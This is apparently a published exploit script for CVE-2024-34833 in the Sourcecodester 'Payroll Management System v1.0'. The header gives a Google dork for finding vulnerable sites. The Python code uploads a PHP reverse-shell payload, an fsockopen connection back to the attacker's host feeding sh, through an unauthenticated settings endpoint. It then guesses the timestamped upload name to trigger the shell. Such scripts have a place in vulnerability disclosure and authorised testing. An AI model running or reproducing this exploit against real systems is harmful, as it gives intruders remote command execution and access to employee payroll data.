# Exploit Title: Payroll Management System v1.0 RCE (Unauthenticated)
# Google Dork: intitle:"Employee's Payroll Management System"
# Date: 16/06/2024
# Exploit Author: ShellUnease
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14475/payroll-management-system-using-phpmysql-source-code.html
# Version: v1.0
# Tested on: Kali Linux Apache Web Server
# CVE : CVE-2024-34833
#!/usr/bin/python
import argparse
import time
import requests
class Exploit:
def __init__(self, rhost, rport, lhost, lport, https):
self.rhost = rhost
self.rport = rport
self.lhost = lhost
self.lport = lport
self.targetUrl = f'https://{rhost}:{rport}' if https else f'http://{rhost}:{rport}'
self.banner()
def banner(self):
print("""
_____ _ _
| __ \ | | |
| |__) |_ _ _ _ _ __ ___ | | |
| ___/ _` | | | | '__/ _ \| | |
| | | (_| | |_| | | | (_) | | |
|_| _\__,_|\__, |_| \___/|_|_| _
| \/ | __/ | | |
| \ / | __ |___/_ __ _ __ _ ___ _ __ ___ ___ _ __ | |_
| |\/| |/ _` | '_ \ / _` |/ _` |/ _ \ '_ ` _ \ / _ \ '_ \| __|
| | | | (_| | | | | (_| | (_| | __/ | | | | | __/ | | | |_
|_|__|_|\__,_|_| |_|\__,_|\__, |\___|_|_|_| |_|\___|_|_|_|\__|
/ ____| | | __/ | | __ \ / ____| ____|
| (___ _ _ ___| |_ ___ |___/___ | |__) | | | |__
\___ \| | | / __| __/ _ \ '_ ` _ \ | _ /| | | __|
____) | |_| \__ \ || __/ | | | | | | | \ \| |____| |____
|_____/ \__, |___/\__\___|_| |_| |_| |_| \_\\_____|______|
__/ |
|___/
""")
def get_data(self):
return {
'name': 'John Doe',
'email': 'jdoe@gmail.com',
'contact': 'John Doe',
'about': 'John Doe',
}
def get_payload(self):
return (f'<?php $sock=fsockopen("{self.lhost}",{self.lport});$proc=proc_open("sh", array(0=>$sock, 1=>$sock, '
f'2=>$sock),$pipes); ?>')
def upload_rev_shell(self):
url = f'{self.targetUrl}/ajax.php?action=save_settings'
print(f'Uploading a reverse shell via {url}')
requests.post(url, files={'img': ('a.php', self.get_payload())},
data=self.get_data())
epoch = time.time()
timestamp = epoch - (epoch % 60)
timestamp_minus_one_min = timestamp - 60
timestamp_plus_one_min = timestamp + 60
return [f'{int(timestamp)}_a.php', f'{int(timestamp_minus_one_min)}_a.php',
f'{int(timestamp_plus_one_min)}_a.php']
def open_rev_shell(self, candidates):
print('Opening a reverse shell')
for candidate in candidates:
url = f'{self.targetUrl}/assets/img/{candidate}'
try:
requests.get(url).raise_for_status()
print(f'Got a success response for {url}, you should have a revshell')
return
except Exception as e:
print(f'Failed to open revshell using {url}')
print('Guessing filename failed')
def exploit(self):
candidates = self.upload_rev_shell()
self.open_rev_shell(candidates)
def get_args():
parser = argparse.ArgumentParser(
description='Payroll Management System - Remote Code Execution (RCE) (Unauthenticated)')
parser.add_argument('-rhost', '--remote-host', dest="rhost", required=True, action='store', help='Remote host')
parser.add_argument('-rport', '--remote-port', dest="rport", required=False, action='store', help='Remote port',
default=80)
parser.add_argument('-lhost', '--local-host', dest="lhost", required=True, action='store', help='Local host')
parser.add_argument('-lport', '--local-port', dest="lport", required=True, action='store', help='Local port')
parser.add_argument('-https', '--https', dest="https", required=False, action='store_true', help='Use https')
args = parser.parse_args()
return args
if __name__ == '__main__':
args = get_args()
exp = Exploit(args.rhost, args.rport, args.lhost, args.lport, args.https)
exp.exploit()
